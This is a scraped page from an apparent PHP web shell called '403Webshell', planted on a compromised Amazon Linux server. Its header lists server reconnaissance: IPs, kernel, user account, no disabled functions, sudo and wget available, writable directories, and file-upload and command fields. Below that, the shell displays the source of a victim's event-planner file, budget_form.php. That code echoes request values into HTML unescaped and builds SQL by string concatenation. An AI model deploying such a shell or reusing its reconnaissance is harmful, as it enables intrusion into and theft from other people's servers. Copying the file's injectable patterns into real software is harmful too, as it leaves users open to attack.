403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/mitzvahm/planner/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mitzvahm/planner/mod/budget_form.php
<?php include('_mod_security.php'); ?>
<?php
	if (isset($_SESSION['user_id'])) :
		if (isset($_REQUEST['id']) && is_numeric($_REQUEST['id'])) :
			$action = "Edit";
		else :
			$action = "Add New";
		endif;
	else :
		exit();
	endif;
	//var_dump($_POST);
	$active_tab = 'general';
	if ($_POST['ajax_event_submitted'] == '1') :
		if (isset($_POST['active_tab'])) :
			$active_tab = $_POST['active_tab'];
		else :
			$active_tab = 'general';
		endif;
		$ar_err = array();
		if (empty($_POST['category_id'])) :
			$ar_err['category_id'] = 'Category is required!';
			$err_flag = true;
			$err_tab = 'general';
		endif;
		if (empty($_POST['venue'])) :
			$ar_err['venue'] = 'Event is required!';
			$err_flag = true;
			$err_tab = 'general';
		endif;
		if (!empty($_POST['budget_amt'])) :
			if (!is_numeric(str_replace(',','',$_POST['budget_amt']))) :
				$ar_err['budget_amt'] = 'Amount must be numeric!';
				$err_flag = true;
				$err_tab = 'general';
			endif;
		endif;
		if ($action != 'Edit') :
			$sql_err = "SELECT * FROM budget WHERE user_id = ".$_SESSION['user_id']." AND event_id = ".$_SESSION['active_event']." AND category_id = ".nz(mysqli_real_escape_string($GLOBALS['con'], trim($_POST['category_id'])),'0')." AND venue = '".mysqli_real_escape_string($GLOBALS['con'], trim($_POST['venue']))."' ";
			$result_err = mysqli_query($GLOBALS['con'], $sql_err) or die('Database Error!');
			if (mysqli_num_rows($result_err) > 0) :
				$ar_err['venue'] = 'Budget for this category/venue already exists!';
				$err_flag = true;
				$err_tab = 'general';
			endif;
		endif;
		if (!$err_flag) :
			$set = "category_id = ".mysqli_real_escape_string($GLOBALS['con'], trim($_POST['category_id'])).", ".
					"venue = '".mysqli_real_escape_string($GLOBALS['con'], trim($_POST['venue']))."', ".
					"budget_amt = ".nzfloat(mysqli_real_escape_string($GLOBALS['con'], trim($_POST['budget_amt'])),'0').", ".
					"comment = '".mysqli_real_escape_string($GLOBALS['con'], trim($_POST['comment']))."' ";
			if ($action == 'Edit') :
				$sql = "UPDATE budget set ".$set.
					" WHERE id = ".mysqli_real_escape_string($GLOBALS['con'], trim($_REQUEST['id']))." AND user_id = ".$_SESSION['user_id']." AND event_id = ".$_SESSION['active_event'];
				mysqli_query($GLOBALS['con'], $sql) or die('Database Error!');
			else :
				if ($action == 'Add New') :
					$sql = "INSERT INTO budget SET ".
					"user_id = ".$_SESSION['user_id'].", ".
					"event_id = ".$_SESSION['active_event'].", ".
					$set;
					mysqli_query($GLOBALS['con'], $sql) or die('Database Error!');
					$_REQUEST['id'] = last_id();
				endif;
			endif;
			$form_message = "Saved sucessfully!";
			if ($_POST['xsubmit'] == 'Save & Close') :
				echo "<SCRIPT>";
				echo "window.location.href = 'index.php?IX=budget'";
				echo "</SCRIPT>";
			endif;
			if ($_POST['xsubmit'] == 'Save & New') :
				echo "<SCRIPT>";
				echo "window.location.href = 'index.php?IX=budget_form'";
				echo "</SCRIPT>";
			endif;
		else :
			$active_tab = $err_tab;
			$form_message = "Errors found!";
		endif;
	else:
		if ($action == 'Edit') :
			$sql = "SELECT * FROM budget WHERE id = ".mysqli_real_escape_string($GLOBALS['con'], trim($_REQUEST['id']))." AND user_id = ".$_SESSION['user_id']." AND event_id = ".$_SESSION['active_event'];
			$result = mysqli_query($GLOBALS['con'], $sql) or die('Database Error!');
			if (mysqli_num_rows($result) > 0) :
				$row = mysqli_fetch_object($result);
				$_POST['category_id'] = $row->category_id;
				$_POST['venue'] = $row->venue;
				$_POST['budget_amt'] = number_format($row->budget_amt,2,'.',',');
				$_POST['comment'] = $row->comment;
			else :
				echo form_fatal_error('Invalid Operation!');
				return;
			endif;
		endif;
	endif;
	
?>

<script>
	var active_page = '<?php echo $_REQUEST['IX']; ?>';
	var active_tab = '';
	
	update_header = function()
	{
		if ($("#category_id").val() > "")
		{
			//alert($("#category_id").val());
			$("#header_repeater").text(" - " + $("#category_id option[value='" + $("#category_id").val() + "']").text());
		}
	}
	
	$(document).ready(function()	
	{
		switch_tab('<?php echo $active_tab; ?>');
		update_header();
		$(':input').change(function() {sheet_dirty = true;} );
	}
	)
</script>

<h1>Budget Category - <?php echo $action; ?><span id="header_repeater"></span></h1>
<?php get_notes(); ?>
<?php get_help_guide('help_budget_form_'.$active_tab); ?>
<?php echo form_message($form_message); ?>

<form style="" name="frm_table" id="frm_table" method="post" action="">
	<input name="ajax_event_submitted" type="hidden" value="1" />
	<input name="id" type="hidden" value="<?php echo $_REQUEST['id']; ?>" />
	<input name="active_tab" id="active_tab" type="hidden" value="general" />
	<!-- -------------------------------------------------------------------------------------------------------------- -->
	<div class="form_strip">
		<input type="button" value="Save" onclick="sheet_dirty = false; this.form.submit();" />
		&nbsp;&nbsp;
		<input type="button" value="Save & Close" onclick="sheet_dirty = false; document.getElementById('xsubmit').value = this.value; this.form.submit();" />
		&nbsp;&nbsp;
		<input type="button" value="Save & New" onclick="sheet_dirty = false; document.getElementById('xsubmit').value = this.value; this.form.submit();" />
		&nbsp;&nbsp;
		<input type="button" value="Cancel" onclick="sheet_dirty = false; window.location.href = 'index.php?IX=budget'" />
	</div>
	<!-- -------------------------------------------------------------------------------------------------------------- -->
	<div class="tab_strip">
		<div class="tab_header" id="tab_general" onclick="switch_tab('general');">
			General Information
		</div>
	</div>
	<div class="cleardiv">
		&nbsp;
	</div>
	<div class="tab_content" id="tab_content_general">
		<div class="form_header">
			Budget Category Details
		</div>
		<table class="input_block">
			<tr>
				<td>
					Category
				</td>
				<td>
					<select name="category_id" id="category_id" onchange="update_header();" >
						<option value="">Category...</option>
						<?php
							$sql_str = 'SELECT id, description FROM vendor_categories WHERE active = 1 ORDER BY description';
							$result = mysqli_query($GLOBALS['con'], $sql_str) or die('Database Error!');
							while ($row = mysqli_fetch_object($result)) :
								$selected = '';
								if ($_POST['category_id'] == $row->id) :
									$selected = 'selected="selected"';
								endif;
								echo '<option value="'.$row->id.'" '.$selected.'>'.$row->description.'</option>';
							endwhile;
						?>
					</select>
					<?php show_form_error($ar_err['category_id']); ?>
				</td>
			</tr>
			<tr>
				<td>
					Event
				</td>
				<td>
					<select name="venue" id="venue"  style="width:130px;" >
						<option value="">Event...</option>
						<option value="temple" <?php if ($_POST['venue'] == 'temple') {echo 'selected="selected"';} ?> ><?php echo venue_decode('temple'); ?></option>
						<option value="av" <?php if ($_POST['venue'] == 'av') {echo 'selected="selected"';} ?> ><?php echo venue_decode('av'); ?></option>
						<option value="kv" <?php if ($_POST['venue'] == 'kv') {echo 'selected="selected"';} ?> ><?php echo venue_decode('kv'); ?></option>
						<option value="bv" <?php if ($_POST['venue'] == 'bv') {echo 'selected="selected"';} ?> ><?php echo venue_decode('bv'); ?></option>
						<option value="dv" <?php if ($_POST['venue'] == 'dv') {echo 'selected="selected"';} ?> ><?php echo venue_decode('dv'); ?></option>
					</select>
					<?php show_form_error($ar_err['venue']); ?>
				</td>
			</tr>
			<tr>
				<td>
					Comment
				</td>
				<td>
					<input name="comment" id="comment" type="text" maxlength="100" value="<?php echo $_POST['comment']; ?>"  />
					<?php show_form_error($ar_err['comment']); ?>
				</td>
			</tr>
			<tr>
				<td>
					Budget Amount
				</td>
				<td>
					<input name="budget_amt" id="budget_amt" type="text" maxlength="25" onblur="val_dollar_field(this);" value="<?php echo $_POST['budget_amt']; ?>"  />
					<?php show_form_error($ar_err['budget_amt']); ?>
				</td>
			</tr>
		</table>
	</div>
	<!-- -------------------------------------------------------------------------------------------------------------- -->
	<div class="form_strip">
		<input type="button" value="Save" onclick="sheet_dirty = false; this.form.submit();" />
		&nbsp;&nbsp;
		<input type="button" value="Save & Close" onclick="sheet_dirty = false; document.getElementById('xsubmit').value = this.value; this.form.submit();" />
		&nbsp;&nbsp;
		<input type="button" value="Save & New" onclick="sheet_dirty = false; document.getElementById('xsubmit').value = this.value; this.form.submit();" />
		&nbsp;&nbsp;
		<input type="button" value="Cancel" onclick="sheet_dirty = false; window.location.href = 'index.php?IX=budget'" />
		<input type="hidden" name="xsubmit" id="xsubmit" />
	</div>
</form>

Youez - 2016 - github.com/yon3zu
LinuXploit